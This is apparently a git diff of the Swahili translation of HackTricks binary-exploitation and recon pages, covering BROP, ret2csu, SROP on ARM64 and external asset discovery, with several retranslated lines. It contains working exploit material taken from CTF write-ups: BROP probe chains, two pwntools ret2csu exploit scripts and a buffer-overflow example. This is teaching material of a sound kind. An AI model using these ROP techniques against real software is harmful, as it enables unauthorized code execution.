Hata hivyo, tunajua **wapi meza ya PLT iko** na inawezekana kupata write kulingana na **tabia yake**. Na tunaweza kuunda **michango kadhaa** na seva na kutumia **FD ya juu** tukitumai kwamba inalingana na baadhi ya michango yetu.
|
||||
|
||||
Saini za tabia za kupata hizo kazi:
|
||||
Saini za tabia za kupata kazi hizo:
|
||||
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ikiwa kuna data iliyochapishwa, basi puts ilipatikana
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ikiwa kuna data iliyochapishwa, basi dprintf ilipatikana
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ikiwa kuna data iliyochapishwa, basi write ilipatikana
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ikiwa kuna data iliyochapishwa, basi puts ilipatikana
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ikiwa kuna data iliyochapishwa, basi dprintf ilipatikana
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ikiwa kuna data iliyochapishwa, basi write ilipatikana
|
||||
|
||||
## Utekaji wa Kiotomatiki
|
||||
## Utekelezaji wa Kiotomatiki
|
||||
|
||||
* [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
|
||||
|
||||
## Marejeo
|
||||
## Marejeleo
|
||||
|
||||
* Karatasi ya awali: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
|
||||
* Karatasi ya asili: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
|
||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,33 @@
|
|||
# Ret2csu
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
##
|
||||
|
||||
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Maelezo Msingi
|
||||
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information
|
||||
|
||||
**ret2csu** ni mbinu ya udukuzi inayotumiwa unapojaribu kuchukua udhibiti wa programu lakini huwezi kupata **gadgets** unazotumia kawaida kubadilisha tabia ya programu. 
|
||||
**ret2csu** ni mbinu ya udukuzi inayotumika unapojaribu kuchukua udhibiti wa programu lakini huwezi kupata **gadgets** unazotumia kawaida kubadilisha tabia ya programu.
|
||||
|
||||
Wakati programu inatumia maktaba fulani (kama libc), ina baadhi ya kazi zilizojengwa ndani ya kusimamia jinsi sehemu tofauti za programu zinavyozungumza na nyingine. Kati ya kazi hizi kuna baadhi ya vitu vya thamani vinavyoweza kutenda kama gadgets zetu zilizopotea, hasa moja inayoitwa `__libc_csu_init`.
|
||||
Wakati programu inatumia maktaba fulani (kama libc), ina baadhi ya kazi zilizojengwa ndani kwa ajili ya kusimamia jinsi vipande tofauti vya programu vinavyoongea na kila mmoja. Kati ya kazi hizi kuna vito vya siri ambavyo vinaweza kutenda kama gadgets zetu zinazokosekana, hasa moja inayoitwa `__libc_csu_init`.
|
||||
|
||||
### Gadgets za Kichawi katika \_\_libc\_csu\_init
|
||||
### The Magic Gadgets in \_\_libc\_csu\_init
|
||||
|
||||
Katika **`__libc_csu_init`**, kuna mfululizo wa maagizo (gadgets) ya kutiliwa maanani:
|
||||
Katika **`__libc_csu_init`**, kuna mfuatano mbili za maagizo (gadgets) za kuangazia:
|
||||
|
||||
1. Mfululizo wa kwanza uturuhusu kuweka thamani katika rejista kadhaa (rbx, rbp, r12, r13, r14, r15). Hizi ni kama nafasi ambapo tunaweza kuhifadhi nambari au anwani tutakazotumia baadaye.
|
||||
1. Mfuatano wa kwanza unaturuhusu kuweka thamani katika register kadhaa (rbx, rbp, r12, r13, r14, r15). Hizi ni kama nafasi ambapo tunaweza kuhifadhi nambari au anwani tunazotaka kutumia baadaye.
|
||||
```armasm
|
||||
pop rbx;
|
||||
pop rbp;
|
||||
|
@ -37,18 +37,18 @@ pop r14;
|
|||
pop r15;
|
||||
ret;
|
||||
```
|
||||
1. Kifaa hiki kinaturuhusu kudhibiti hizi rejista kwa kuzitoa thamani kwenye steki na kuziweka.
|
||||
This gadget allows us to control these registers by popping values off the stack into them.
|
||||
|
||||
2. Mfuatano wa pili hutumia thamani tulizoweka kufanya mambo kadhaa:
|
||||
* **Kuhamisha thamani maalum kwenye rejista nyingine**, kuzifanya ziwe tayari kwetu kutumia kama parameta katika kazi.
|
||||
* **Kufanya wito kwenye eneo** lililodhamiriwa kwa kuongeza thamani katika r15 na rbx, kisha kuzidisha rbx mara 8.
|
||||
2. The second sequence uses the values we set up to do a couple of things:
|
||||
* **Hamisha thamani maalum kwenye register nyingine**, na kuziandaa kwa ajili yetu kuzitumia kama vigezo katika kazi.
|
||||
* **Fanya wito kwa eneo** lililopangwa kwa kuongeza pamoja thamani katika r15 na rbx, kisha kuzaa rbx kwa 8.
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
mov edi, r13d;
|
||||
call qword [r12 + rbx*8];
|
||||
```
|
||||
2. Labda hujui anwani yoyote ya kuandika hapo na unahitaji maagizo ya `ret`. Kumbuka kuwa kifaa cha pili pia kitamalizika kwa `ret`, lakini utahitaji kukutana na hali fulani ili kuifikia:
|
||||
2. Labda hujui anwani yoyote ya kuandika hapo na unahitaji **amri ya `ret`**. Kumbuka kwamba gadget ya pili pia itamalizika kwa **`ret`**, lakini utahitaji kukutana na **masharti** fulani ili kufikia hiyo:
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
|
@ -60,10 +60,10 @@ jnz <func>
|
|||
...
|
||||
ret
|
||||
```
|
||||
The conditions will be:
|
||||
Masharti yatakuwa:
|
||||
|
||||
* `[r12 + rbx*8]` lazima iwe inaelekeza kwenye anwani inayohifadhi kazi inayoweza kuitwa (ikiwa hakuna wazo na hakuna pie, unaweza kutumia kazi ya `_init`):
|
||||
* Ikiwa \_init iko kwenye `0x400560`, tumia GEF kutafuta kidude kumbukumbu kinachoelekeza kwake na ufanye `[r12 + rbx*8]` iwe anwani yenye kidude kinachoelekeza kwa \_init:
|
||||
* `[r12 + rbx*8]` lazima iwe inaelekeza kwenye anwani inayohifadhi kazi inayoweza kuitwa (ikiwa huna wazo na hakuna pie, unaweza tu kutumia kazi ya `_init`):
|
||||
* Ikiwa \_init iko kwenye `0x400560`, tumia GEF kutafuta kiashiria katika kumbukumbu kwake na ufanye `[r12 + rbx*8]` kuwa anwani yenye kiashiria cha \_init:
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
gef➤ search-pattern 0x400560
|
||||
|
@ -73,16 +73,16 @@ gef➤ search-pattern 0x400560
|
|||
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
|
||||
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
|
||||
```
|
||||
* `rbp` na `rbx` lazima kuwa na thamani sawa ili kuepuka kuruka
|
||||
* Kuna pops zilizopuuzwa ambazo unahitaji kuzingatia
|
||||
* `rbp` na `rbx` lazima wawe na thamani sawa ili kuepuka kuruka
|
||||
* Kuna baadhi ya pops zilizokosekana unahitaji kuzingatia
|
||||
|
||||
## RDI na RSI
|
||||
|
||||
Njia nyingine ya kudhibiti **`rdi`** na **`rsi`** kutoka kwa kifaa cha ret2csu ni kwa kufikia vipimo maalum:
|
||||
Njia nyingine ya kudhibiti **`rdi`** na **`rsi`** kutoka kwa gadget ya ret2csu ni kwa kufikia ofseti maalum:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Angalia ukurasa huu kwa habari zaidi:
|
||||
Angalia ukurasa huu kwa maelezo zaidi:
|
||||
|
||||
{% content-ref url="brop-blind-return-oriented-programming.md" %}
|
||||
[brop-blind-return-oriented-programming.md](brop-blind-return-oriented-programming.md)
|
||||
|
@ -92,14 +92,14 @@ Angalia ukurasa huu kwa habari zaidi:
|
|||
|
||||
### Kutumia wito
|
||||
|
||||
Fikiria unataka kufanya syscall au kuita kazi kama `write()` lakini unahitaji thamani maalum katika rejista za `rdx` na `rsi` kama paramita. Kawaida, ungeangalia vifaa vya kielelezo ambavyo hupanga rejista hizi moja kwa moja, lakini huwezi kupata yoyote.
|
||||
Fikiria unataka kufanya syscall au kuita kazi kama `write()` lakini unahitaji thamani maalum katika register za `rdx` na `rsi` kama vigezo. Kawaida, ungeangalia gadgets ambazo zinaweka register hizi moja kwa moja, lakini huwezi kupata yoyote.
|
||||
|
||||
Hapa ndipo **ret2csu** inapoingia:
|
||||
|
||||
1. **Wekeza Rejista**: Tumia kifaa cha kichawi cha kwanza kupata thamani kutoka kwenye steki na kuingiza kwenye rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), na r15.
|
||||
2. **Tumia Kifaa cha Pili**: Ukiwa na rejista hizo zilizowekwa, tumia kifaa cha pili. Hii inakuruhusu kuhamisha thamani zako zilizochaguliwa kwenye `rdx` na `rsi` (kutoka r14 na r13, mtawalia), tayari kwa wito wa kazi. Zaidi ya hayo, kwa kudhibiti `r15` na `rbx`, unaweza kufanya programu iite kazi iliyoko kwenye anwani unayohesabu na kuweka kwenye `[r15 + rbx*8]`.
|
||||
1. **Weka Register**: Tumia gadget ya kwanza ya kichawi kutoa thamani kutoka kwenye stack na kuingia rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), na r15.
|
||||
2. **Tumia Gadget ya Pili**: Ukiwa na register hizo zimewekwa, unatumia gadget ya pili. Hii inakuwezesha kuhamasisha thamani zako ulizochagua katika `rdx` na `rsi` (kutoka r14 na r13, mtawalia), ukitayarisha vigezo kwa wito wa kazi. Zaidi ya hayo, kwa kudhibiti `r15` na `rbx`, unaweza kufanya programu iite kazi iliyoko kwenye anwani unayoihesabu na kuweka katika `[r15 + rbx*8]`.
|
||||
|
||||
Una [**mfano ukitumia mbinu hii na kuiweka wazi hapa**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), na hii ndio shambulio la mwisho lililotumika:
|
||||
Una [**mfano wa kutumia mbinu hii na kuielezea hapa**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), na hii ndiyo exploit ya mwisho iliyotumika:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -124,12 +124,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
|||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Tafadhali elewa kuwa shambulio lililopita halikusudiwi kufanya **`RCE`**, lilikuwa linakusudia tu kuita kazi iliyoitwa **`win`** (ikichukua anwani ya `win` kutoka stdin ikitoa wito wa gets katika mnyororo wa ROP na kuihifadhi katika r15) na hoja ya tatu yenye thamani `0xdeadbeefcafed00d`.
|
||||
Kumbuka kwamba exploit iliyopita haikusudiwi kufanya **`RCE`**, inakusudia tu kuita kazi inayoitwa **`win`** (ikichukua anwani ya `win` kutoka stdin inayoita gets katika mnyororo wa ROP na kuihifadhi katika r15) na hoja ya tatu yenye thamani `0xdeadbeefcafed00d`.
|
||||
{% endhint %}
|
||||
|
||||
### Kupitisha wito na kufikia ret
|
||||
### Kupita simu na kufikia ret
|
||||
|
||||
Shambulio lifuatalo lilichimbuliwa [**kutoka kwenye ukurasa huu**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) ambapo **ret2csu** inatumika lakini badala ya kutumia wito, inapitisha **mikataba na kufikia `ret`** baada ya wito:
|
||||
Exploit ifuatayo ilitolewa [**kutoka kwenye ukurasa huu**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) ambapo **ret2csu** inatumika lakini badala ya kutumia simu, in **kupita kulinganisha na kufikia `ret`** baada ya simu:
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||
|
@ -179,6 +179,21 @@ payload += ret2win
|
|||
target.sendline(payload)
|
||||
target.interactive()
|
||||
```
|
||||
### Kwa Nini Tusitumie libc Moja kwa moja?
|
||||
### Kwa Nini Usitumie libc Moja kwa Moja?
|
||||
|
||||
Kawaida kesi hizi pia ni dhaifu kwa [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), lakini mara nyingine unahitaji kudhibiti vigezo zaidi kuliko inavyoweza kudhibitiwa kwa urahisi na vifaa unavyopata moja kwa moja katika libc. Kwa mfano, kazi ya `write()` inahitaji vigezo vitatu, na **kupata vifaa vya kuweka hivi moja kwa moja huenda ikawa haiwezekani**.
|
||||
Kawaida kesi hizi pia zina udhaifu wa [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), lakini wakati mwingine unahitaji kudhibiti vigezo zaidi kuliko vile ambavyo vinaweza kudhibitiwa kwa urahisi na gadgets unazozipata moja kwa moja katika libc. Kwa mfano, kazi ya `write()` inahitaji vigezo vitatu, na **kupata gadgets za kuweka yote haya moja kwa moja huenda isiwezekane**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# SROP - ARM64
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -47,7 +47,7 @@ p.interactive()
|
|||
```
|
||||
## bof mfano
|
||||
|
||||
### Code
|
||||
### Msimbo
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
@ -147,7 +147,7 @@ return 0;
|
|||
|
||||
Katika sehemu **`vdso`** inawezekana kupata wito wa **`sigreturn`** katika ofseti **`0x7b0`**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Hivyo, ikiwa itavuja, inawezekana **kutumia anwani hii kufikia `sigreturn`** ikiwa binary haijaiweka:
|
||||
```python
|
||||
|
@ -184,15 +184,15 @@ Kwa maelezo zaidi kuhusu vdso angalia:
|
|||
[ret2vdso.md](../ret2vdso.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Na ili kupita anwani ya `/bin/sh` unaweza kuunda mabadiliko kadhaa ya mazingira yanayolenga hiyo, kwa maelezo zaidi:
|
||||
Na ili kupita anwani ya `/bin/sh` unaweza kuunda mabadiliko kadhaa ya mazingira yanayorejelea hiyo, kwa maelezo zaidi:
|
||||
|
||||
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
|
||||
[aslr](../../common-binary-protections-and-bypasses/aslr/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# External Recon Methodology
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,15 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Assets discoveries
|
||||
## Ugunduzi wa Mali
|
||||
|
||||
> Hivyo ulisemwa kwamba kila kitu kinachomilikiwa na kampuni fulani kiko ndani ya upeo, na unataka kubaini ni nini kampuni hii inamiliki kwa kweli.
|
||||
> Kwa hivyo ulisema kwamba kila kitu kinachomilikiwa na kampuni fulani kiko ndani ya upeo, na unataka kubaini ni nini kampuni hii inamiliki.
|
||||
|
||||
Lengo la awamu hii ni kupata **makampuni yanayomilikiwa na kampuni kuu** na kisha **mali** za makampuni haya. Ili kufanya hivyo, tutafanya:
|
||||
|
||||
|
@ -32,20 +32,20 @@ Lengo la awamu hii ni kupata **makampuni yanayomilikiwa na kampuni kuu** na kish
|
|||
3. Tumia utafutaji wa reverse whois kutafuta entries nyingine (majina ya mashirika, maeneo...) yanayohusiana na ya kwanza (hii inaweza kufanywa kwa njia ya kurudi).
|
||||
4. Tumia mbinu nyingine kama shodan `org` na `ssl` filters kutafuta mali nyingine (hila ya `ssl` inaweza kufanywa kwa njia ya kurudi).
|
||||
|
||||
### **Acquisitions**
|
||||
### **Ununuzi**
|
||||
|
||||
Kwanza kabisa, tunahitaji kujua ni **makampuni gani mengine yanayomilikiwa na kampuni kuu**.\
|
||||
Chaguo moja ni kutembelea [https://www.crunchbase.com/](https://www.crunchbase.com), **tafuta** kampuni **kuu**, na **bonyeza** kwenye "**ununuzi**". Huko utaona makampuni mengine yaliyonunuliwa na kampuni kuu.\
|
||||
Chaguo moja ni kutembelea [https://www.crunchbase.com/](https://www.crunchbase.com), **tafuta** kampuni **kuu**, na **bonyeza** kwenye "**ununuzi**". Hapo utaona makampuni mengine yaliyonunuliwa na kampuni kuu.\
|
||||
Chaguo lingine ni kutembelea ukurasa wa **Wikipedia** wa kampuni kuu na kutafuta **ununuzi**.
|
||||
|
||||
> Sawa, katika hatua hii unapaswa kujua makampuni yote ndani ya upeo. Hebu tuone jinsi ya kupata mali zao.
|
||||
|
||||
### **ASNs**
|
||||
|
||||
Nambari ya mfumo huru (**ASN**) ni **nambari ya kipekee** inayotolewa kwa **mfumo huru** (AS) na **Mamlaka ya Nambari za Mtandao (IANA)**.\
|
||||
Nambari ya mfumo huru (**ASN**) ni **nambari ya kipekee** iliyotolewa kwa **mfumo huru** (AS) na **Mamlaka ya Nambari za Mtandao (IANA)**.\
|
||||
**AS** inajumuisha **vizuizi** vya **anwani za IP** ambazo zina sera iliyofafanuliwa wazi kwa kufikia mitandao ya nje na zinatawaliwa na shirika moja lakini zinaweza kuwa na waendeshaji kadhaa.
|
||||
|
||||
Ni ya kuvutia kupata ikiwa **kampuni ina ASN yoyote** ili kupata **anuwai zake za IP.** Itakuwa ya kuvutia kufanya **mtihani wa udhaifu** dhidi ya **michakato** yote ndani ya **upeo** na **kutafuta maeneo** ndani ya anuwai hizi za IP.\
|
||||
Ni muhimu kujua ikiwa **kampuni ina ASN yoyote** ili kupata **anuwai zake za IP.** Itakuwa na manufaa kufanya **mtihani wa udhaifu** dhidi ya **michakato** yote ndani ya **upeo** na **kutafuta maeneo** ndani ya anuwai hizi za IP.\
|
||||
Unaweza **kutafuta** kwa jina la kampuni, kwa **IP** au kwa **domain** katika [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Kulingana na eneo la kampuni, viungo hivi vinaweza kuwa na manufaa kukusanya data zaidi:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amerika Kaskazini),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Amerika ya Kusini),** [**RIPE NCC**](https://www.ripe.net) **(Ulaya). Hata hivyo, labda taarifa zote** muhimu **(anuwai za IP na Whois)** tayari zinaonekana katika kiungo cha kwanza.
|
||||
```bash
|
||||
|
@ -76,20 +76,20 @@ You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4
|
|||
### **Kutafuta udhaifu**
|
||||
|
||||
Katika hatua hii tunajua **rasilimali zote ndani ya upeo**, hivyo ikiwa umepewa ruhusa unaweza kuzindua **scanner ya udhaifu** (Nessus, OpenVAS) juu ya mwenyeji wote.\
|
||||
Pia, unaweza kuzindua baadhi ya [**skana za bandari**](../pentesting-network/#discovering-hosts-from-the-outside) **au tumia huduma kama** shodan **kupata** bandari wazi **na kulingana na kile unachokiona unapaswa** kuangalia katika kitabu hiki jinsi ya kufanya pentesting kwa huduma kadhaa zinazoweza kukimbia.\
|
||||
